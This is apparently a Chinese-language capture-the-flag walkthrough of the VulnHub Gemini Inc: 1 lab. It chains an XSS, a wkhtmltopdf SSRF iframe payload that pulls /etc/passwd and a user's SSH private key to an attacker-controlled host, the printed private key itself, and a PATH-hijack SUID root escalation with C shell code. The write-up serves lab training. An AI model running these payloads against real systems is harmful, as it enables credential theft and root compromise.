一、靶机介绍
https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip
攻击方法:
- 主机发现
- 端口扫描
- 信息搜集
- 开源代码泄露
- XSS漏洞
- SSRF漏洞
- LFI漏洞
- 服务端组件漏洞
- SSH公钥认证
- SUID权限漏洞
- 本地提权
二、主机发现
kali ip为:192.168.43.150
靶机ip为:192.168.43.150

三、主机发现
nmap -p- 192.168.43.150 nmap -p22,80 -sV -sC 192.168.43.150
|
靶机22和80端口开放

四、开源代码泄露
访问web页面,提示信息,可以导出为pdf,有登录地方,有开源项目网址

审核github上项目源码,发现默认的账号和密码

user:admin
password:1234
登录成功

五、xss漏洞
在修改界面发现存在xss漏洞


访问admin页面
发现xss反弹成功

六、wkhtmltopdf存在SSRF
在网上搜索wkhtmltopdf搜索对应的版本

发现存在ssrf漏洞

漏洞利用的payload,
wkhtmltopdf SSRF | Exploit Notes (hdks.org)
现在kali中写个php,利用远程文件读取,读取靶机中的文件

paylaod
/htmltopdf?item=<iframe src=http://192.168.43.130:8000/test.php?x=/etc/passwd width=1000px height=1000px></iframe>
|
192.168.43.130为kali的ip地址
执行后,将其导出为pdf才能触发漏洞,发现存在一个能够登录的用户

七、SSH公钥认证
查看该用户是否存在登录密钥,发现存在密钥,读取私钥,保存下来
/htmltopdf?item=<iframe src=http://192.168.43.130:8090/test.php?x=/home/gemini1/.ssh/id_rsa width=1000px height=1000px></iframe>
|
注意保存下的格式

-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs 6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn 1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC 1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu 968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9 r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7 WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k= -----END RSA PRIVATE KEY-----
|
在kali中保存靶机的私钥
vim id_rsa chmod 600 id_rsa # 更改权限 ssh-keygen -l -f id_rsa # 查看密钥格式是否正确 ssh -i id_rsa gemini1@192.168.43.150 # 使用密钥登录
|

八、Linux环境变量提权
sudo需要使用密码,放弃这个方式了
查看内核版本为4.9
uname -a searchsploit linux 4.9.0
|

查找存在异常权限的文件
find / -user root -type f -perm -u+sx -ls 2>/dev/null
|
搜索文件系统中所有所有属于 root 用户,且有 SUID 或 SGID 标志的普通文件,并将其列表输出。
find:命令名称。
/:要搜索的根目录路径,表示从根目录开始搜索。
-user root:指定搜索条件为查找属于 root 用户的文件。
-type f:限制搜索结果为普通文件。
-perm -u+sx:指定搜索条件为查找权限设置了 SUID 或 SGID 标志的文件(即设置了 u+s 或 g+s)。
-ls:输出详细的文件信息列表,包括权限、大小、最后修改时间等。
2>/dev/null:将错误输出重定向到 /dev/null 设备,以避免输出一些不必要的错误信息。
发现listinfo这个系统默认的好像没有这个命令

查看文件类型是一个执行文件
file /usr/bin/listinfo listinfo
|

使用stings命令查看这个程序中一些可打印的字符串
strings /usr/bin/listinfowgh
|

把date文件更改为提权,重写一个date程序,由于我在靶机中直接使用vi命令编辑的时候,格式太难受了,所以这里起了一个python web程序,从kali中写好穿到了靶机中
date.c
#include <sys/types.h> #include <unistd.h> #include <stdlib.h> int main() { setuid(0); setgid(0); system("/bin/bash"); }
|
python3 -m http.server 9999
|

wget http://192.168.43.130:9999/date.c # 将date.c传输到靶机中 gcc date.c -o date # 编译为程序 echo $PATH # 查看一下环境变量 which date # 查看程序中执行date的路径 export PATH=/home/gemini1:$PATH # 将自己编写的date程序路径,添加到环境变量的头部,也就在程序执行时,先执行这个date,然后才执行那个默认的date echo $PATH # 查看环境变量执行顺序,是否更改成功
|

listinfo # 执行程序 cat /root/flag.txt
|
提权成功

参考文章:[VulnHub-Gemini Inc: 1 - HKalpa - 博客园 (cnblogs.com)](https://www.cnblogs.com/HKalpa/p/17447207.html#0x07 Linux环境变量提权)